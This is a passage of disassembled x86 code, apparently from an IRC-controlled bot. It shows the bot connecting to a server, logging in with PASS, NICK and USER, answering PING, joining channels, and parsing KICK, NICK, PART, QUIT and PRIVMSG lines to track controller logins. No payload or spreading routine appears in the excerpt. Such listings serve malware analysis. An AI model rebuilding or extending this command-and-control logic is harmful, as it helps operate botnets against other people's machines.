		push	eax		; Dest
		call	_strncpy
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_42EC30	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43054C[eax], esi
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	dword_42EB60	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_409362
		push	esi
		call	dword_42EC48	; closesocket
		call	sub_408314
		push	7D0h


loc_409357:				; CODE XREF: sub_409277+146j
		call	ds:dword_41B048	; Sleep
		jmp	loc_40929C
; ---------------------------------------------------------------------------


loc_409362:				; CODE XREF: sub_409277+CDj
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset aMainConnectedT ; "[MAIN]: Connected to %s."
		call	sub_402DD7
		push	[ebp+var_38]
		lea	eax, [ebp+Args]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4093DF
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_42EC48	; closesocket
		test	edi, edi
		jz	loc_40929C
		cmp	edi, 1
		jnz	short loc_4093BF
		push	0DBBA0h
		jmp	short loc_409357
; ---------------------------------------------------------------------------


loc_4093BF:				; CODE XREF: sub_409277+13Fj
		cmp	edi, 2
		jz	short loc_4093CD
		jmp	loc_40929C
; ---------------------------------------------------------------------------


loc_4093C9:				; CODE XREF: sub_409277+5Aj
		xor	eax, eax
		jmp	short loc_4093D9
; ---------------------------------------------------------------------------


loc_4093CD:				; CODE XREF: sub_409277+14Bj
		push	[ebp+var_34]
		call	sub_411F56
		pop	ecx
		push	2
		pop	eax


loc_4093D9:				; CODE XREF: sub_409277+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_409277	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093DF	proc near		; CODE XREF: sub_409277+123p

Dst		= byte ptr -1A10h
var_A10		= dword	ptr -0A10h
var_240		= dword	ptr -240h
Str1		= byte ptr -1A0h
Str		= byte ptr -0A0h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+Str1]
		pop	ecx


loc_4093FD:				; CODE XREF: sub_4093DF+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_4093FD
		cmp	byte_475240, bl
		jz	short loc_409424
		push	offset byte_475240 ; Args
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]	; int
		call	sub_405E1E
		add	esp, 0Ch


loc_409424:				; CODE XREF: sub_4093DF+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+Dest]
		push	ebx		; Str1
		push	ebx		; int
		push	2		; int
		push	eax		; Dest
		call	sub_40FA38
		add	esp, 10h
		push	eax
		lea	eax, [ebp+Str]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_0]
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40948E
		push	[ebp+arg_0]
		call	dword_42EC48	; closesocket
		push	1388h
		call	ds:dword_41B048	; Sleep


loc_409487:				; CODE XREF: sub_4093DF+D9j
					; sub_4093DF+153j
		xor	eax, eax


loc_409489:				; CODE XREF: sub_4093DF+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_4093DF+92j
					; sub_4093DF+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_42EBCC	; recv
		test	eax, eax
		jle	short loc_409487
		lea	eax, [ebp+var_A10]
		push	eax		; int
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_406E70
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40948E
		lea	edi, [ebp+var_A10]


loc_4094DF:				; CODE XREF: sub_4093DF+165j
		push	1
		pop	esi


loc_4094E2:				; CODE XREF: sub_4093DF+144j
		push	[ebp+arg_1C]	; int
		lea	eax, [ebp+var_8]
		push	esi		; File
		push	eax		; int
		lea	eax, [ebp+var_240]
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		push	[ebp+arg_18]	; int
		push	[ebp+arg_C]	; Dest
		push	[ebp+arg_8]	; int
		push	[ebp+arg_4]	; int
		push	[ebp+arg_0]	; int
		push	dword ptr [edi]	; Src
		call	sub_409557
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_409525
		push	7D0h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_4094E2
; ---------------------------------------------------------------------------


loc_409525:				; CODE XREF: sub_4093DF+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40954F
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40954B
		cmp	esi, 0FFFFFFFFh
		jz	loc_409487
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_4094DF
		jmp	loc_40948E
; ---------------------------------------------------------------------------


loc_40954B:				; CODE XREF: sub_4093DF+14Ej
		push	1
		jmp	short loc_409551
; ---------------------------------------------------------------------------


loc_40954F:				; CODE XREF: sub_4093DF+149j
		push	2


loc_409551:				; CODE XREF: sub_4093DF+16Ej
		pop	eax
		jmp	loc_409489
sub_4093DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_409557(char *Src,int,int,int,char *Dest,int,char *Str1,int,int,char *File,int)

sub_409557	proc near		; CODE XREF: sub_4093DF+12Ap

var_159C	= byte ptr -159Ch
var_119C	= byte ptr -119Ch
var_F9C		= byte ptr -0F9Ch
var_D9C		= byte ptr -0D9Ch
var_C9C		= byte ptr -0C9Ch
var_C98		= byte ptr -0C98h
Filename	= byte ptr -0B98h
var_B94		= byte ptr -0B94h
var_A94		= byte ptr -0A94h
var_A14		= byte ptr -0A14h
var_9B3		= byte ptr -9B3h
var_9B2		= byte ptr -9B2h
var_9B0		= byte ptr -9B0h
var_9AF		= byte ptr -9AFh
var_9A6		= byte ptr -9A6h
var_9A4		= byte ptr -9A4h
var_9A2		= byte ptr -9A2h
var_9A1		= byte ptr -9A1h
var_914		= dword	ptr -914h
var_910		= byte ptr -910h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= byte ptr -804h
var_7F8		= dword	ptr -7F8h
var_7F4		= dword	ptr -7F4h
var_7F0		= byte ptr -7F0h
var_788		= byte ptr -788h
var_778		= dword	ptr -778h
var_774		= byte ptr -774h
var_770		= byte ptr -770h
var_744		= dword	ptr -744h
var_740		= byte ptr -740h
var_704		= dword	ptr -704h
var_700		= byte ptr -700h
var_6F4		= byte ptr -6F4h
var_6F0		= byte ptr -6F0h
var_6C0		= byte ptr -6C0h
var_689		= byte ptr -689h
var_688		= byte ptr -688h
var_680		= byte ptr -680h
var_674		= byte ptr -674h
var_670		= byte ptr -670h
var_600		= byte ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= byte ptr -5F0h
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= byte ptr -564h
var_548		= byte ptr -548h
var_4F8		= dword	ptr -4F8h
var_4F4		= byte ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= byte ptr -4ECh
var_4E0		= dword	ptr -4E0h
var_4DC		= byte ptr -4DCh
var_4AC		= dword	ptr -4ACh
var_48C		= dword	ptr -48Ch
var_474		= byte ptr -474h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= byte ptr -448h
var_444		= byte ptr -444h
var_430		= byte ptr -430h
var_420		= byte ptr -420h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_3F8		= dword	ptr -3F8h
var_3F4		= byte ptr -3F4h
FullPath	= byte ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3C4		= byte ptr -3C4h
var_3A0		= byte ptr -3A0h
var_384		= byte ptr -384h
var_374		= byte ptr -374h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2D8		= word ptr -2D8h
var_2D6		= word ptr -2D6h
Drive		= dword	ptr -2D4h
Dst		= byte ptr -2C8h
var_C8		= dword	ptr -0C8h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
SubStr		= byte ptr -0A0h
Str2		= dword	ptr -94h
Args		= byte ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
Str		= dword	ptr -84h
Format		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_18		= byte ptr -18h
Source		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Dest		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
Str1		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
File		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	__alloca_probe
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_A8], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C8], ebx
		call	_memset
		push	1Bh		; Count
		lea	eax, [ebp+var_564]
		push	[ebp+Dest]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 18h
		cmp	[ebp+Src], ebx
		jz	loc_4099D2
		push	esi		; Size
		lea	eax, [ebp+var_F9C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		dec	esi
		lea	eax, [ebp+var_F9C]
		push	esi		; Count
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_F9C]
		push	offset asc_427350 ; " :"
		push	eax		; Str
		call	_strstr
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_F9C]
		push	esi		; Count
		push	eax		; Source
		lea	eax, [ebp+var_119C]
		push	eax		; Dest
		call	_strncpy
		mov	esi, offset Delim ; " "
		lea	eax, [ebp+var_119C]
		push	esi		; Delim
		push	eax		; Str
		call	_strtok
		add	esp, 34h
		mov	[ebp+Str2], eax
		lea	edi, [ebp+Args]
		mov	[ebp+var_A4], 1Fh


loc_40962A:				; CODE XREF: sub_409557+E7j
		push	esi		; Delim
		push	ebx		; Str
		call	_strtok
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A4]
		pop	ecx
		jnz	short loc_40962A
		mov	esi, [ebp+Str2]
		cmp	esi, ebx
		jz	loc_4099D2
		cmp	dword ptr [ebp+Args], ebx
		jz	loc_4099D2
		push	100h		; Size
		lea	eax, [ebp+var_A14]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_409678:				; CODE XREF: sub_409557+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_4096A4
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_4096AC
		cmp	[eax+2], bl
		jnz	short loc_4096AC
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A14], 1
		mov	esi, [ebp+Str2]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_4096A4:				; CODE XREF: sub_409557+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_409678


loc_4096AC:				; CODE XREF: sub_409557+12Aj
					; sub_409557+12Fj
		cmp	[ebp+var_9A1], bl
		jz	short loc_4096B7
		mov	[ebp+var_8], edi


loc_4096B7:				; CODE XREF: sub_409557+15Bj
		cmp	[ebp+var_9A6], bl
		jz	short loc_4096C5
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_4096C5:				; CODE XREF: sub_409557+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_4096FF
		push	7Fh		; Count
		lea	eax, [ebp+var_A94]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [esi+1]
		push	17h		; Count
		push	eax		; Source
		lea	eax, [ebp+var_C4]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_C4]
		push	offset asc_42734C ; "!"
		push	eax		; Str
		call	_strtok
		add	esp, 20h


loc_4096FF:				; CODE XREF: sub_409557+171j
		push	esi		; Str2
		push	offset aPing	; "PING"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409750
		push	dword ptr [ebp+Args] ; Args
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_4097F4
		push	[ebp+arg_C]
		push	[ebp+arg_8]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		add	esp, 10h
		jmp	loc_4097F4
; ---------------------------------------------------------------------------


loc_409750:				; CODE XREF: sub_409557+1B7j
		mov	esi, dword ptr [ebp+Args]
		push	esi		; Str2
		push	offset a001	; "001"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E96C
		push	esi		; Str2
		push	offset a005	; "005"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E96C
		push	esi		; Str2
		push	offset a302	; "302"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4097BB
		push	offset a@	; "@"
		push	[ebp+var_88]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4097F4
		inc	eax
		push	9Fh		; Count
		push	eax		; Source
		push	[ebp+arg_1C]	; Dest
		call	_strncpy
		add	esp, 0Ch
		jmp	short loc_4097F4
; ---------------------------------------------------------------------------


loc_4097BB:				; CODE XREF: sub_409557+238j
		push	esi		; Str2
		push	offset a433	; "433"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4097FB
		push	ebx		; Str1
		push	dword_424A6C	; int
		push	dword_424A68	; int
		push	[ebp+Dest]	; Dest
		call	sub_40FA38
		push	[ebp+Dest]	; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		add	esp, 1Ch


loc_4097F4:				; CODE XREF: sub_409557+1D8j
					; sub_409557+1F4j ...
		mov	eax, edi
		jmp	loc_4099D5
; ---------------------------------------------------------------------------


loc_4097FB:				; CODE XREF: sub_409557+273j
		mov	esi, [ebp+Str1]
		mov	[ebp+var_A4], 2
		mov	edi, 80h


loc_40980D:				; CODE XREF: sub_409557+2DBj
		lea	eax, [ebp+var_A94]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40982A
		mov	[ebp+var_AC], 1


loc_40982A:				; CODE XREF: sub_409557+2C7j
		add	esi, edi
		dec	[ebp+var_A4]
		jnz	short loc_40980D
		mov	esi, dword ptr [ebp+Args]
		push	esi		; Str2
		push	offset aKick	; "KICK"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409921
		mov	esi, [ebp+Str1]
		mov	[ebp+File], 2


loc_409859:				; CODE XREF: sub_409557+38Fj
		cmp	[esi], bl
		jz	loc_4098E1
		push	7Fh		; Count
		lea	eax, [ebp+var_A94]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4098E1
		cmp	[ebp+var_88], ebx
		jz	short loc_4098E1
		push	[ebp+var_88]	; Str2
		lea	eax, [ebp+var_C4]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4098E1
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		add	esp, 20h


loc_4098E1:				; CODE XREF: sub_409557+304j
					; sub_409557+324j ...
		add	esi, edi
		dec	[ebp+File]
		jnz	loc_409859
		push	[ebp+var_88]	; Str2
		push	[ebp+Dest]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4099D2
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]	; Args
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_409914:				; CODE XREF: sub_409557+5FCj
					; sub_409557+83Fj ...
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		jmp	loc_40E240
; ---------------------------------------------------------------------------


loc_409921:				; CODE XREF: sub_409557+2F2j
		push	esi		; Str2
		push	offset aNick	; "NICK"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409A67
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+Str1]
		inc	eax
		mov	[ebp+Src], 2
		mov	[ebp+File], eax


loc_40994A:				; CODE XREF: sub_409557+445j
		lea	eax, [ebp+var_A94]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409997
		lea	eax, [ebp+var_A94]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_409997
		push	[ebp+File]	; Source
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax		; Dest
		call	_strcpy
		push	[ebp+arg_1C]	; Source
		push	edi		; Dest
		call	_strcat
		add	esp, 10h
		mov	edi, 80h


loc_409997:				; CODE XREF: sub_409557+404j
					; sub_409557+41Bj
		add	esi, edi
		dec	[ebp+Src]
		jnz	short loc_40994A
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_4099D2
		cmp	[ebp+File], ebx
		jz	short loc_4099D2
		push	[ebp+Dest]	; Str2
		lea	eax, [ebp+var_C4]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4099DA
		push	0Fh		; Count
		push	[ebp+File]	; Source
		push	[ebp+Dest]	; Dest
		call	_strncpy
		add	esp, 0Ch


loc_4099D2:				; CODE XREF: sub_409557+5Bj
					; sub_409557+F1j ...
		push	1


loc_4099D4:				; CODE XREF: sub_409557+4FAAj
		pop	eax


loc_4099D5:				; CODE XREF: sub_409557+29Fj
					; sub_409557+3527j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4099DA:				; CODE XREF: sub_409557+469j
		mov	edi, [ebp+Str1]
		xor	esi, esi


loc_4099DF:				; CODE XREF: sub_409557+4A9j
		cmp	[edi], bl
		jz	short loc_4099F6
		lea	eax, [ebp+var_A94]
		push	eax		; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409A04


loc_4099F6:				; CODE XREF: sub_409557+48Aj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4099DF
		jmp	short loc_4099D2
; ---------------------------------------------------------------------------


loc_409A04:				; CODE XREF: sub_409557+49Dj
		lea	eax, [ebp+var_A94]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Src], eax
		jz	short loc_4099D2
		push	eax		; Str
		call	_strlen
		push	[ebp+File]	; Str
		mov	edi, eax
		call	_strlen
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_4099D2
		push	[ebp+Src]
		shl	esi, 7
		push	[ebp+File]
		add	esi, [ebp+Str1]
		push	offset aSS_3	; ":%s%s"
		push	esi		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_4AC]
		push	ebx		; int
		push	eax		; int
		push	[ebp+arg_8]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 24h
		jmp	loc_4099D2
; ---------------------------------------------------------------------------


loc_409A67:				; CODE XREF: sub_409557+3D9j
		push	esi		; Str2
		push	offset aPart	; "PART"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409A89
		push	esi		; Str2
		push	offset aQuit	; "QUIT"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409AB0


loc_409A89:				; CODE XREF: sub_409557+51Fj
		mov	edi, [ebp+Str1]
		xor	esi, esi


loc_409A8E:				; CODE XREF: sub_409557+557j
		cmp	[edi], bl
		jz	short loc_409AA4
		push	[ebp+Str2]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409AF7


loc_409AA4:				; CODE XREF: sub_409557+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_409A8E


loc_409AB0:				; CODE XREF: sub_409557+530j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a353	; "353"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409B58
		push	[ebp+Str]	; Str2
		push	[ebp+arg_8]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409AE7
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_409AE7:				; CODE XREF: sub_409557+585j
		push	[ebp+Str]
		push	offset aMainJoinedChan ; "[MAIN]: Joined channel: %s."
		jmp	loc_40E960
; ---------------------------------------------------------------------------


loc_409AF7:				; CODE XREF: sub_409557+54Bj
		mov	eax, [ebp+Str1]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aMainUserSLog_0 ; "[MAIN]: User:	%s logged out."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		push	dword ptr [ebp+Args] ; Str2
		push	offset aPart	; "PART"
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	loc_4099D2
		lea	eax, [ebp+Dst]
		push	eax
		mov	eax, [ebp+Str2]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_409914
; ---------------------------------------------------------------------------


loc_409B58:				; CODE XREF: sub_409557+56Dj
		push	dword ptr [ebp+Args] ; Str2
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_409BAC
		push	dword ptr [ebp+Args] ; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409BAC
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E7D9
		cmp	dword_424A54, ebx
		jz	loc_40E7D9


loc_409BAC:				; CODE XREF: sub_409557+61Bj
					; sub_409557+62Dj
		push	dword ptr [ebp+Args] ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409CB2
		push	dword ptr [ebp+Args] ; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409CB2
		mov	eax, [ebp+var_88]
		inc	[ebp+Str]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_A8], esi


loc_409BF3:				; CODE XREF: sub_409557+817j
					; sub_409557+853j ...
		shl	esi, 2
		mov	ecx, [ebp+esi+Str2]
		lea	eax, [ebp+esi+Str2]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, byte_424A60
		mov	[ebp+arg_C], edi
		jnz	loc_4099D2
		push	edi		; Str2
		push	offset aHi	; "hi"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E7E1
		push	edi		; Str2
		push	offset aFr	; "Fr"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E7E1
		cmp	[ebp+var_AC], ebx
		jnz	short loc_409C66
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E7D9


loc_409C66:				; CODE XREF: sub_409557+6F3j
		cmp	[ebp+arg_28], ebx
		jnz	loc_40E7D9
		cmp	dword_424E64, ebx
		mov	[ebp+arg_8], ebx
		jle	loc_409F48
		mov	[ebp+arg_20], offset Str1


loc_409C85:				; CODE XREF: sub_409557+754j
		push	edi		; Str2
		push	[ebp+arg_20]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409DDA
		inc	[ebp+arg_8]
		add	[ebp+arg_20], 0B8h
		mov	eax, [ebp+arg_8]
		cmp	eax, dword_424E64
		jl	short loc_409C85
		jmp	loc_409F48
; ---------------------------------------------------------------------------


loc_409CB2:				; CODE XREF: sub_409557+665j
					; sub_409557+67Bj
		push	dword ptr [ebp+Args] ; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409CCB
		mov	[ebp+var_4], 1


loc_409CCB:				; CODE XREF: sub_409557+76Bj
		cmp	[ebp+var_8C], ebx
		jz	loc_4099D2
		push	offset asc_42726C ; "#"
		push	[ebp+var_8C]	; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409CF2
		cmp	[ebp+var_4], ebx
		jz	short loc_409CFE


loc_409CF2:				; CODE XREF: sub_409557+794j
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_8C], eax


loc_409CFE:				; CODE XREF: sub_409557+799j
		cmp	[ebp+var_88], ebx
		jz	loc_4099D2
		inc	[ebp+var_88]
		jz	short loc_409D4A
		cmp	[ebp+Dest], ebx
		jz	short loc_409D4A
		lea	eax, [ebp+var_564]
		push	eax		; Str
		call	_strlen
		push	eax		; MaxCount
		lea	eax, [ebp+var_564]
		push	[ebp+var_88]	; Str2
		push	eax		; Str1
		call	_strncmp
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_A8], esi
		jmp	short loc_409D50
; ---------------------------------------------------------------------------


loc_409D4A:				; CODE XREF: sub_409557+7B9j
					; sub_409557+7BEj
		mov	esi, [ebp+var_A8]


loc_409D50:				; CODE XREF: sub_409557+7F1j
		mov	edi, [ebp+esi*4+Str2]
		cmp	edi, ebx
		jz	loc_4099D2
		push	edi		; Str2
		push	offset dword_427260 ; Str1
		call	_strcmp
